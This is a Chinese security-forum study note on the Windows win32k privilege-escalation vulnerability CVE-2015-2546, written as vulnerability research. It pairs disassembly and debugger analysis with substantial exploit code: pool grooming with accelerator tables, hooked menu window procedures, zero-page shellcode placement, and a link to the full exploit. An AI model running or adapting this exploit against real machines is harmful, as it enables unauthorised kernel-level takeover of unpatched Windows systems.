-
-
[原创]CVE-2015-2546提权漏洞学习笔记
-
2022-3-16 19:49 7453
-
一.前言
1.漏洞描述
和CVE-2014-4113一样,这个漏洞也是因为调用xxxSendMessage函数的时候,没有对第一个参数进行合法性验证。用户可以通过一定的方法修改第一个参数的值,导致可以通过xxxSendMessageTimeout中的以下代码实现提权:
.text:BF8B94E8 loc_BF8B94E8: .text:BF8B94E8 push [ebp+Src] .text:BF8B94EB push dword ptr [ebp+UnicodeString] .text:BF8B94EE push ebx .text:BF8B94EF push esi .text:BF8B94F0 call dword ptr [esi+60h]
与CVE-2014-4113不同的是,这次的漏洞在xxxHandleMenuMessage中调用的xxxMNMouseMove函数中。
2.实验环境
操作系统:Win7 X86 sp1 专业版
编译器:Visual Studio 2017
调试器:IDA Pro,WinDbg
二.漏洞分析
要理解这个漏洞,需要对两个结构体有所了解,第一个是tagMENUWND,该结构体定义如下:
kd> dt tagMENUWND win32k!tagMENUWND +0x000 head : _THRDESKHEAD +0x014 state : Uint4B +0x018 state2 : Uint4B +0x01c ExStyle : Uint4B +0x020 style : Uint4B +0x024 hModule : Ptr32 Void +0x028 hMod16 : Uint2B +0x02a fnid : Uint2B +0x02c spwndNext : Ptr32 tagWND +0x030 spwndPrev : Ptr32 tagWND +0x034 spwndParent : Ptr32 tagWND +0x038 spwndChild : Ptr32 tagWND +0x03c spwndOwner : Ptr32 tagWND +0x040 rcWindow : tagRECT +0x050 rcClient : tagRECT +0x060 lpfnWndProc : Ptr32 long +0x064 pcls : Ptr32 tagCLS +0x068 hrgnUpdate : Ptr32 HRGN__ +0x06c ppropList : Ptr32 tagPROPLIST +0x070 pSBInfo : Ptr32 tagSBINFO +0x074 spmenuSys : Ptr32 tagMENU +0x078 spmenu : Ptr32 tagMENU +0x07c hrgnClip : Ptr32 HRGN__ +0x080 hrgnNewFrame : Ptr32 HRGN__ +0x084 strName : _LARGE_UNICODE_STRING +0x090 cbwndExtra : Int4B +0x094 spwndLastActive : Ptr32 tagWND +0x098 hImc : Ptr32 HIMC__ +0x09c dwUserData : Uint4B +0x0a0 pActCtx : Ptr32 _ACTIVATION_CONTEXT +0x0a4 pTransform : Ptr32 _D3DMATRIX +0x0a8 spwndClipboardListenerNext : Ptr32 tagWND +0x0ac ExStyle2 : Uint4B +0x0b0 PopupMenu : Ptr32 tagPOPUPMENU
其中最关键得是最后一个成员,也就是偏移0x0B0处得PopupMenu,该成员是一个tagPOPUPMENU结构体,结构体定义如下:
kd> dt tagPOPUPMENU win32k!tagPOPUPMENU +0x000 flags : Uint4B +0x004 spwndNotify : Ptr32 tagWND +0x008 spwndPopupMenu : Ptr32 tagWND +0x00c spwndNextPopup : Ptr32 tagWND +0x010 spwndPrevPopup : Ptr32 tagWND +0x014 spmenu : Ptr32 tagMENU +0x018 spmenuAlternate : Ptr32 tagMENU +0x01c spwndActivePopup : Ptr32 tagWND +0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU +0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU +0x028 posSelectedItem : Uint4B +0x02c posDropped : Uint4B
在xxxMNMouseMove函数中,首先会调用xxxMNFindWindowFromPoint函数获取返回值,而该函数的返回值是通过xxxSendMessage发送0x1EB的消息得到的。因此,对0x1EB的消息进行挂钩就可以修改此处的返回值,这里的返回值需要修改成tagMenuWnd(原因在下面)。为了触发漏洞,此处的返回值就不能是-1或-5,这样才能绕过2,3的验证,而由于4的验证,返回值还需要是一个合法的窗口的值,因为在IsWindowBeingDestroyed函数中,会对窗口的属性进行检查。
接下来,函数会将tagMenuWnd中偏移0xB0处保存的结构为tagPOPUPMENU的pTagMenuWnd取出,将它作为第一个参数调用xxxMNHideNextHierachy。可是在此之前,函数通过xxxSendMessage发送了两次消息,而且这两个函数的参数都是pTagMenuWnd。那么,用户就可以在通过挂钩的方式,在调用xxxMNHideNextHierachy函数之前对tagMenuWnd中的数据进行更改,也就是更改偏移0xB0处的pTagPopupMenu。
这里IDA反编译的结果出了问题,两个xxxSendMessage函数发送的消息应当分别是0x1E5和0x1F0,因为它们的汇编代码分别如下:
.text:BF939517 loc_BF939517: .text:BF939517 xor edi, edi .text:BF939519 push edi .text:BF93951A push dword ptr [ebp+UnicodeString] .text:BF93951D push 1E5h .text:BF939522 push esi .text:BF939523 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x) .text:BF939528 test al, 10h .text:BF93952A jz short loc_BF939583 .text:BF93952C test al, 3 .text:BF93952E jnz short loc_BF939583 .text:BF939530 push edi .text:BF939531 push edi .text:BF939532 push 1F0h .text:BF939537 push esi .text:BF939538 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x) .text:BF93953D test eax, eax .text:BF93953F jnz short loc_BF939583 .text:BF939541 push ebx .text:BF939542 call _xxxMNHideNextHierarchy@4 .text:BF939547 jmp short loc_BF939583
在xxxMNHideNextHierarchy函数中,会将pTagPopupMenu偏移0x0C的spwndNextPopup作为第一个参数调用xxxSendMessage函数。
虽然这里第八第九行代码验证了spwndNextPopup是否为0,但是,函数没有对pTagPopupmenu进行验证。因此,只要修改掉spwndNextPopup,让它不为0。
最终将导致代码xxSendMessageTimeout中的call dword ptr [esi + 0x60]就变成call dword ptr [spwndNextPopup + 0x60],此时只要在相应的位置放入ShellCode函数地址,就可以实现提权。
三.漏洞利用
和CVE-2014-4113相同的是,该漏洞也需要通过TrackPopupMenu函数来触发,所以也需要以下的代码来创建相应的窗口
HWND hWnd = NULL; WNDCLASS wc = { 0 }; HMENU hMenu1 = NULL, hMenu2 = NULL; MENUITEMINFO Item1 = { 0 }, Item2 = { 0 }; memset(&wc, 0, sizeof(wc)); wc.hInstance = GetModuleHandle(NULL); wc.lpfnWndProc = WndProc_2015_2546; wc.lpszClassName = "1900"; if (!RegisterClassA(&wc)) { ShowError("RegisterClassA", GetLastError()); bRet = FALSE; goto exit; } hWnd = CreateWindowA(wc.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wc.hInstance, NULL); if (!hWnd) { ShowError("CreateWindowEx", GetLastError()); bRet = FALSE; goto exit; } hMenu1 = CreatePopupMenu(); if (!hMenu1) { ShowError("CreatePopupMenu", GetLastError()); bRet = FALSE; goto exit; } memset(&Item1, 0, sizeof(Item1)); memset(&Item2, 0, sizeof(Item2)); Item1.cbSize = sizeof(Item1); Item1.fMask = MIIM_STRING; if (!InsertMenuItemA(hMenu1, 0, TRUE, &Item1)) { ShowError("InsertMenuItemA 1", GetLastError()); bRet = FALSE; goto exit; } hMenu2 = CreatePopupMenu(); if (!hMenu2) { ShowError("CreatePopupMenu 2", GetLastError()); bRet = FALSE; goto exit; } Item2.fMask = MIIM_STRING | MIIM_SUBMENU; Item2.dwTypeData = ""; Item2.cch = 1; Item2.hSubMenu = hMenu1; Item2.cbSize = sizeof(Item2); if (!InsertMenuItemA(hMenu2, 0, TRUE, &Item2)) { ShowError("InsertMenuItemA 2", GetLastError()); bRet = FALSE; goto exit; } // 触发漏洞 if (!TrackPopupMenu(hMenu2, 0, 0, 0, 0, hWnd, NULL)) { ShowError("TrackPopupMenu", GetLastError()); bRet = FALSE; goto exit; }
不同的地方在于此时触发漏洞的位置是不同的,以下是部分代码:
int __stdcall xxxHandleMenuMessages(int a1, int a2, WCHAR UnicodeString) { uMsg = *(_DWORD *)(a1 + 4); if ( uMsg > 0x104 ) { if ( uMsg > 0x202 ) { } if ( uMsg == 0x202 ) goto LABEL_80; v20 = uMsg - 0x105; // uMsg - 0x105 if ( v20 ) { v21 = v20 - 1; // uMsg - 0x1 if ( v21 ) { v22 = v21 - 0x12; // uMsg - 0x12 if ( !v22 ) return 1; v23 = v22 - 0xE8; // uMsg - 0xE8 if ( v23 ) { if ( v23 == 1 ) { // CVE-2014-4113漏洞触发点 iRet = (_DWORD *)xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7); if ( iRet == (_DWORD *)-1 ) xxxMNButtonDown(v3, v12, UnicodeString, 1); else xxxSendMessage(iRet, 0xED, UnicodeString, 0); if ( !(v12[1] & 0x100) ) xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516); } return 0; } // CVE-2015-2546漏洞触发点 xxxMNMouseMove((WCHAR)v3, a2, (int)v7); return 1; } } } return 1; }
经过计算,uMsg等于0x201的时候,会触发CVE-2014-4113的漏洞,当它等于0x200的时候会触发CVE-2015-2546的漏洞。而uMsg的值是由主窗口处理例程中的第三个PostMessageA的第二个参数决定的,根据以下的定义可以知道,本次漏洞的触发需要通过PostMessageA发送WM_MOUSEMOVE的消息
#define WM_MOUSEMOVE 0x0200 #define WM_LBUTTONDOWN 0x0201
并且,在进入xxxMouseMove函数中,会对第三个PostMessageA的第四个参数进行判断,该值如果为0,将不会调用xxxMNHideNextHierarchy触发漏洞,所以此次的exp的主窗口例程的处理函数应该改成如下的代码:
LRESULT CALLBACK WndProc_2015_2546(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { if (uMsg == WM_ENTERIDLE) { if (!bFlag) { bFlag = TRUE; PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0); PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0); PostMessageA(hWnd, WM_MOUSEMOVE, 0, 1); } else { PostMessageA(hWnd, WM_CLOSE, 0, 0); } } return DefWindowProcA(hWnd, uMsg, wParam, lParam); }
根据上面的漏洞分析可以知道,要成功调用xxxMNHideNextHierachy函数触发漏洞,需要对0x1E5,0x1EB和0x1F0这三个消息进行处理。对于0x1E5,只需要返回0x10就符合要求,而0x1EB需要返回一个合法的窗口对象来绕过IsWindowBeingDestory函数。因此,需要通过CreateWindowsExA创建一个类名为 "#32768"的窗口对象,函数会返回一个合法的tagMENUWND的窗口对象,当处理0x1EB消息的时候,将该对象返回回去就可以绕过验证。
有了tagMENUWND对象,接下来就需要在0x1F0中想办法修改tagMENUWND对象的tagPOPMENU中偏移0xC的spwndNextPopup。因为,在函数xxxMNHideNextHierarchy中,会对这个成员判断其值是否为0,如果不为0,才会将其作为第一个参数传给xxxSendMessage函数,而上面所创建的类名为"#32768"的tagMENUWND对象的tagPOPMENU中的spwndNextPopup为0。
想要将其修改为非0值,此处需要使用到CreateAcceleratorTable来创建加速表对象,该函数的定义如下:
HACCEL CreateAcceleratorTable(LPACCEL lpaccl, int cEntries);
其中第二个参数指定了要创建加速表对象的个数,这里需要指定为0x5,因此每个加速表对象占8字节,5 * 8 = 0x28,在加上8字节的POOL_HEADER以及0x10字节的对象头,这样可以保证创建的空间足够容纳0x40大小的tagPOPUPMENU结构体。因此,消息0x1EB的执行内容如下:
先销毁掉"#32768"窗口对象,这样会释放掉tagPOPUPMENU的空间
申请一些的加速表对象,这些加速表对象就会占用刚刚释放"32768"窗口对象的tagPOPUPMENU空间,这样,就可以修改tagPOPUPMENU中的spwndNextPopup
为了避免内存块合并,在初始化阶段,需要首先耗尽0x40大小的内存块。然后申请一批连续的0x40大小的加速表对象,释放掉其中的偶数部分的加速表对象,这样创建的"32768"窗口对象的tagPOPUPMENU的空间就会在在这些释放的内存块中。而它的前后两块都是正在被使用的内存块,当在消息0x1EB中释放tagPOPUPMENU的时候,不会发生内存块的合并,。因此,最终的初始化函数应当修改为如下:
BOOL Init_2015_2546() { BOOL bRet = TRUE; LPACCEL lpAccel = NULL; DWORD i = 0; HACCEL hAccel[ACCELERATOR_NUMBER + 5]; // 消耗掉0x40大小的内存块 for (i = 0; i < ACCELERATOR_NUMBER; i++) { lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 5); if (!CreateAcceleratorTable(lpAccel, 0x5)) { ShowError("CreateAcceleratorTable", GetLastError()); bRet = FALSE; goto exit; } } // 分配连续的0x40大小的加速表对象 for (i = 0; i < ACCELERATOR_NUMBER; i++) { lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 5); hAccel[i] = CreateAcceleratorTable(lpAccel, 0x5); if (!hAccel[i]) { ShowError("CreateAcceleratorTable", GetLastError()); bRet = FALSE; goto exit; } } // 释放其中的双数的内存块 for (i = 1; i < ACCELERATOR_NUMBER; i += 2) { if (!DestroyAcceleratorTable(hAccel[i])) { ShowError("CreateAcceleratorTable", GetLastError()); bRet = FALSE; goto exit; } } // 创建窗口对象,该窗口的tagPOPMENU会占用上面释放的双数的内存块 g_hWnd = CreateWindowExA(0, "#32768", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL); if (!g_hWnd) { ShowError("CreateWindowExA #32768", GetLastError()); bRet = FALSE; goto exit; } if (!SetWindowLongA(g_hWnd, GWL_WNDPROC, (ULONG)DefaultMenuProc_2015_2546)) { ShowError("SetWindowLongA", GetLastError()); bRet = FALSE; goto exit; } // 在0地址申请内存成功 if (!AllocateZeroMemory()) { bRet = FALSE; goto exit; } *(DWORD*)(0xD) = GetPtiCurrent_2015_2546(); *(BYTE*)(0x1B) = (BYTE)4; *(DWORD*)(0x65) = (DWORD)ShellCode_2015_2546; exit: return bRet; }
菜单窗口的处理例程,则应该如下所示:
LRESULT CALLBACK MenuWndProc_2015_2546(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { LPACCEL lpAccel = NULL; if (uMsg == 0x1EB) { return (LONG)g_hWnd; } else if (uMsg == 0x1F0) { if (g_hWnd != NULL) { // #32768窗口进行销毁,tagPopupMenu被释放 if (!DestroyWindow(g_hWnd)) { ShowError("DestroyWindow", GetLastError()); } // 使用加速表对象占用窗口对象的空间 for (DWORD i = 0; i < ACCELERATOR_NUMBER; i++) { lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 0x5); if (lpAccel) CreateAcceleratorTable(lpAccel, 0x5); } } return 0; } else if (uMsg == 0x1E5) { return 0x10; } return CallWindowProcA(g_lpPrevWndFunc, hWnd, uMsg, wParam, lParam); }
四.运行结果
参考下面链接的师傅的代码写的exp,链接在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2015-2546.cpp。
在xxxMNMouseMove函数中下断点,运行exp,当运行到发送0x1F0的消息时,此时可以看到#32768窗口对象的tagPOPUPMENU中偏移0xC的spwndNextPopup为0
1: kd> p win32k!xxxMNMouseMove+0x141: 96809530 57 push edi 1: kd> p win32k!xxxMNMouseMove+0x142: 96809531 57 push edi 1: kd> p win32k!xxxMNMouseMove+0x143: 96809532 68f0010000 push 1F0h 1: kd> p win32k!xxxMNMouseMove+0x148: 96809537 56 push esi 1: kd> p win32k!xxxMNMouseMove+0x149: 96809538 e86000f8ff call win32k!xxxSendMessage (9678959d) 1: kd> r esi esi=fea11b28 1: kd> dd fea11b28 + B0 fea11bd8 fd5ee588 00000000 0001000d 0c000018 fea11be8 00000000 c159c159 00000000 88427a60 1: kd> dt tagPOPUPMENU fd5ee588 win32k!tagPOPUPMENU +0x000 flags : 0x00000000 +0x004 spwndNotify : (null) +0x008 spwndPopupMenu : 0xfea11b28 tagWND +0x00c spwndNextPopup : (null) +0x010 spwndPrevPopup : (null) +0x014 spmenu : (null) +0x018 spmenuAlternate : (null) +0x01c spwndActivePopup : (null) +0x020 ppopupmenuRoot : (null) +0x024 ppmDelayedFree : (null) +0x028 posSelectedItem : 0xffffffff +0x02c posDropped : 0
同时,查看这个时候的内存情况,tagPOPMENU对象在两块被使用的加速表对象中间,此时释放它不会造成内存块的合并
调用xxxSendMessage发送0x1F0的消息后,可以看到spwndNextPopup被修改为0x5
1: kd> p win32k!xxxMNMouseMove+0x14e: 9721953d 85c0 test eax,eax 1: kd> dt tagPOPUPMENU fd5ee588 win32k!tagPOPUPMENU +0x000 flags : 0x00000000 +0x004 spwndNotify : (null) +0x008 spwndPopupMenu : (null) +0x00c spwndNextPopup : 0x00000005 tagWND +0x010 spwndPrevPopup : 0xcdcdcdcd tagWND +0x014 spmenu : 0xcdcdcdcd tagMENU +0x018 spmenuAlternate : 0xcdcdcdcd tagMENU +0x01c spwndActivePopup : 0xcdcdcdcd tagWND +0x020 ppopupmenuRoot : 0xcdcdcdcd tagPOPUPMENU +0x024 ppmDelayedFree : 0xcdcdcdcd tagPOPUPMENU +0x028 posSelectedItem : 0xcdcdcdcd +0x02c posDropped : 0xcdcd
接着跟进xxxMNHideNextHierarchy函数,此时就会绕过该函数对spwndNextPopup不为0的验证,并将0x5作为第一个参数调用xxxSendMessage
1: win32k!xxxMNHideNextHierarchy+0x37: 967e8f05 6a00 push 0 1: kd> p win32k!xxxMNHideNextHierarchy+0x39: 967e8f07 6a00 push 0 1: kd> p win32k!xxxMNHideNextHierarchy+0x3b: 967e8f09 68e4010000 push 1E4h 1: kd> p win32k!xxxMNHideNextHierarchy+0x40: 967e8f0e 50 push eax 1: kd> p win32k!xxxMNHideNextHierarchy+0x41: 967e8f0f e88906faff call win32k!xxxSendMessage (9678959d) 1: kd> r eax eax=00000005
这就会导致call dword ptr [esi + 0x60]变成call dword ptr [0x5 + 0x60],因此只需要在0x65的地方放入ShellCode的地址就可以完成提权,最终的运行结果如下:
五.参考资料
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法